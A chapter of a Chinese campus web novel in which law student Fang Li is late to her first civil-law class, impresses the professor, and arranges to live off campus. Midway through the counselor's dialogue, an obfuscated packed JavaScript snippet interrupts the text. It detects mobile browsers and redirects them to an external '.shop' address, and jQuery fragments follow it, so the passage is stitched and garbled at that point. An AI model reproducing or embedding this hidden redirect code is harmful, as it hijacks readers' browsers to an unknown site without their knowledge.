那天,方璃看完医生就匆匆回校,并不敢留下来面对方珏。等坐上公交车,才给他打了个电话,说学校有事,自己先回去了,叫他不要担心。
方珏本来想问问她失眠的事,因为她着急,没有问出口。方璃也没多说,把电话挂断,心里盘算着现在不是见方珏的时候,必须把走读这件事尽快办下来,先斩后奏也好过夜长梦多,恐生事端。
周日,辅导员开了个班会,发放了教材,并提前把课表告知大家。最后留下班委单独开了个小灶,方璃和邢雅璐也在其中。邢雅璐作为团支书需要管理团内一应事务,方璃作为学委需要和各科老师对接,当天就加上了老师们的联系方式。
班会结束,她们回到宿舍,除乔慕灵以外,其他人都拿出刚领的课本,认真预习明天上课的内容。
邢雅璐是那个最没有定力的,刚看了半个小时,就叫苦不迭:“不看了不看了,都是什么玩意,一个字也看不懂。”
梁琪也看不下去:“这么多书,还这么厚,不会都要我们背吧。”
方璃把书合上,提议:“要不我们玩斗地主吧,低效率的学习也没意思,不如放松放松。”
“这个可以有!”邢雅璐一下来了兴致,从抽屉里掏出一副扑克牌。
乔慕灵没有加入打牌行列,在床上玩游戏机玩得正起劲。其他三个女孩玩嗨了,一直打到晚上十二点,笑声蔓延至整个二层。期间有隔壁女生气冲冲地来敲宿舍门,无用,接着玩,声音没压多久又变老高。最后那个女生实在忍不了了,吼了一嗓子,她们才不玩了。
于是转天,所有人无一例外都起晚了,匆忙赶到教室时,已经迟到了五分钟。
这种事始料未及,那可是她们开学第一堂课。就连一贯吊儿郎当的乔慕灵也有点紧张,其他三人更是崩溃。
民法学的老师是一个头发花白的老头,脸上皱纹纵横,脊背却挺直,看着精神抖擞。他余光打量着这四个女孩,见她们蜂拥闯进教室,接连喊“报告”,脸上纹路一挤,挤出一个山脉丛生的微笑:“我从教这么多年,头一次遇见上大学第一课就迟到的学生,你们很不错。”
几个姑娘听着他的暗讽,不敢讲话,老师在黑板上圈了个圈,把其中两个字提亮:“说说看吧,什么是民法?答对了,你们就进屋听,答不上来,就都回去接着睡吧。”
他说话带着随意,可此言一出,满座都倒抽一口凉气,无人觉得他在说笑。方璃望向讲台,直愣愣看进那老头眼里,没想到他长得如此和蔼,竟是个这般严厉的人物。
邢雅璐三人早已吓得脸色惨白,哪里背得出来。只有方璃答道:“民法是调整平等主体的自然人、法人和非法人组织之间的人身关系和财产关系的法律规范的总和。”
这是最基础的知识,就在《民法学》第一章第一页,只要预习过都能答出来。问题就在于很多大学生根本不会去预习。老师眯眯眼,又问:“那你再说说看,民法的基本原则是什么?”
方璃仍是眼也不眨地道:“民事权益受法律保护、平等、自愿、公平、诚信、守法与公序良俗、绿色原则。”
她说得一字不差,话音刚落,底下竟有人鼓掌声,小声叫“好”。老师在台上咳了一声,下面才不再起哄,他摆摆手,道:“行了,你们找地方坐吧。”
一行人总算进了教室,前排的座位已经坐满了,她们坐到最后一排空座。尚未落定,耳边又传来老师的声音:“干咱们这一行的,光会耍嘴皮子可不行,得有最基本的职业原则。以后你们踏出校门,但凡多晚一秒,都有可能痛失一位委托人。当然我说多了,有人觉得我是在针对,这其间的利害关系,你们就自己好好想想吧。”
他说完,回过身继续讲课,方璃知道他在内涵自己,挑挑眼,不大当回事。
“阿璃,你也太厉害了。”
邢雅璐和梁琪在她左右小声说,“昨天你不是跟我们一起玩吗,今天怎么回答得这么牛?”
方璃把手指放在嘴边,冲她们比了一个“嘘”的手势:“他问的都是第一页的内容,我也就只看了第一页。但凡他再多问一点,我们今天可全要滚蛋。”
二人露出一个惊恐表情,朝讲台上撇了撇,愈发觉得老头和蔼的笑亦是笑里藏刀,不敢再说,把身子坐正。
出了这么一档子事,大家都不敢轻视这堂课,认真听讲、记笔记。屋内安静得落针可闻,只能听见老师的讲课声和写字声。
一堂课下来,方璃的笔记全记满了,邢雅璐跟不上速度,想拿方璃的笔记来抄,却发现她写的东西像某种神秘符号,她根本就看不懂。
方璃这是速记,趁着课间工夫,给她一点点解释。
下课后,老师布置了作业,问:“学委是哪位?”
方璃站起来:“是我。”
老头眯眯眼,眼神戏谑,那表情就像是在说“怎么还是你呀”。
“学委留下,其余人可以离开了。”他道。
邢雅璐和梁琪本想等她一起走,方璃说自己一会儿不去食堂,叫她们不要等。二人以为她又要去图书馆,便先行离开,方璃来到讲台旁,等老头布置任务。
他没再为难她什么,只是给她交代一下课代表的工作,叫她在下次课之前把作业收齐,提前一天交到他办公室。
方璃都一一应下,最后,那老头问:“你叫什么名字?”
“我叫方璃。”
“嗯。”老头点点头,指了指她道,“下次可不许再迟到了啊。”
方璃笑了笑,跟他道别,转身离开。
她肚子不饿时就不愿意吃饭,也没去图书馆,而是去五楼辅导员办公室,把诊断证明交给她。
辅导员认真地看完诊断证明,拉了把椅子叫她坐,眼里都是关切,询问了她一些关于病情上的问题。
方璃只说在宿舍睡不着觉,太影响她状态,也怕成绩落下。
“你这个情况我大概了解了,但具体能不能走读,还需要向上级确认一下,你先不要着急。”
方璃问:“那我这几天可以先回家住吗?”
“不行。”辅导员说,“这些天我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525668|203481||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
需要先跟你家长见一面,沟通一下这件事。如果上级明确说可以走读,我们还要签一份安全承诺书,以确保你的人身安全。”
方璃说都可以。
“你家在首都吗?”辅导员最后确认性地问了一句。
方璃点点头,如实回答:“我哥哥就在首都。”
于是,未来一个礼拜,方璃都在焦灼地等待着辅导员的消息,其余时间就是在教室、图书馆,或自习教室学习,几乎也没什么可以放松的时候。
大家都太优秀了——来到了这里,方璃才发现,优秀的人竟然如此多。图书馆的位置要在早晨六点以半前去占座,不然就抢不到位置;清晨五点的小树林里看不见谈恋爱的身影,只有连成片读英语的细碎声。哪怕是在食堂,她也能看见自习的学生,不分什么考试周。
北华大学对于学生的课业要求也是出奇严格,没有挂科率一说,分数达不到就是不及格,有时候甚至会出现一个班一多半不及格的情况,但也不会大海捞人。
为此,方璃给自己制定了严格的学习计划,从早上五点半到晚上十点,全天无休,堪比高三,把所有时间都安排得满满当当。
比起天赋型,她更愿意称自己为努力型。也只有这样,她才能感受到真正的安全感和成就感,让自己一点点接近她想成为的那种人。
这段时间,方璃没光顾着闷头学习,还参加了社团招新,通过了法学院学生会和辩论队的面试。同时加入辩论队的还有乔慕灵。邢雅璐进了好多兴趣社团,梁琪文笔好,进了校刊编辑部。
方璃听说校辩论队也缺人,但他们不是“招”,是“挖”,根据各个学院之间的辩论赛挑选好苗子,直接进校队。北华的校辩论队也是非常厉害,在各种比赛中都拿下过奖项,能进去的不是一般人。
方璃对此很感兴趣,比起在学院内部的锻炼,她也想去大平台上试一试,多接触一些更有挑战的人或事。
当然,这都是后话了。
周五,方璃等到了消息,走读程序批准下来了。
辅导员通知她来办公室填表格,并告知家长也需一同前来。方璃给赵今越打了个电话,拜托她冒充一下自己的哥哥。
方璃无父无母,某种程度上,也算得是“孤儿”,小时候她户口在父亲老宅,成年后就迁到大学,所以一直单独立户。因此就算方珏来了,也没签署资格,只能充当担保人。
既然谁也没权利当她的亲人,这担保人换谁都一样,于她也无差。赵今越不情不愿地来了趟学校,跟辅导员一番促膝长谈,最终签署了安全协议书,绝对保证了方璃的安全,任何在校外发生的事故都不算学校责任。
辅导员这才给她放行。
方璃很心急,当晚回到宿舍,就匆匆收拾行李,说走就走。
哪怕知道回去大概率面临的是问责,她也要立刻去见方珏。
她无法形容当时的心情,就像是守着小船行驶于一望无际的大海之上,忽然迎面撞来一阵惊涛骇浪。
这绝不是死亡的气息,而是新生。